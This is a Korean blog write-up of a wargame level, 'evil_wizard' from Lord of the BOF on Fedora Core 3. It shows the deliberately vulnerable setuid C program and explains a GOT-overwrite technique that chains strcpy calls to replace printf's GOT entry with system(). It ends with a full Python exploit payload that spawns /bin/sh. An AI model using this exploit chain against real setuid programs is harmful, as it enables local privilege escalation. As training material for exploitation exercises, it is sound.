1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); } // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); } | cs |
페도라의 전 문제들에서는 Ret sleding, Fake EBP 기법들을 이용해서 풀었지만, 이 문제에서는 힌트에도 나와있듯이 GOT overwrite를 이용해서 문제를 풀어야 한다.
일단 문제에서 pop pop ret가젯을 주었고, setuid도 걸어주니 맘편히 문제를 풀자.
나는 일단 strcpy를 이용해서 printf함수의 got에 system함수의 주소를 덮고, printf함수의 plt를 호출하여 결과적으로 system 함수가 호출되도록 한 후, 4byte의 더미를 주고 "/bin/sh" 의 주소를 구하여 "/bin/sh"를 입력할것이다.
필요한 가젯들을 정리해보면..
strcpy plt
printf plt
printf got
&system : system함수의 1바이트 부분 각각의 가젯을 모두 구해야함
&/bin/sh : system함수 내부에 /bin/sh문자열이 존재하므로 코딩으로 구할수있음.
&ppr : 문제에서 ppr을 주었으므로 gdb로 디스어셈블하여 알아낸다.
정도 되겠다.
plt, got 부분은 gdb로 모두 구해주고, system함수의 가젯들은
1 | objdump -s evil_wizard | grep " " --color=auto | cs |
로 구해준다.
/bin/sh는 https://sunrinjuntae.tistory.com/43를 이용해서 구해준다.
payload를 python으로 작성했는데, 나는 payload를 pwntools로밖에 작성해본적이 없어서, 다른블로그를 많이 참고했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | import os import struct p32 = lambda x: struct.pack("<I", x) target = "/home/hell_fire/evil_wizard" printf_plt = 0x8048424 printf_got = 0x8049884 strcpy_plt = 0x8048494 ppr = 0x804854f # system = 0x007507c0 binsh = 0x833603 payload = 'A' * 268 payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 0) payload += p32(0x8048420) #c0 payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 1) payload += p32(0x8048154) #07 payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 2) payload += p32(0x80482c8) #72 payload += p32(strcpy_plt) payload += p32(ppr) payload += p32(printf_got + 3) payload += p32(0x8048138) #00 payload += p32(printf_plt) payload += "AAAA" payload += p32(binsh) os.execv(target, (target, payload[:-1])) | cs |
페이로드는 위와 같다.
클리어!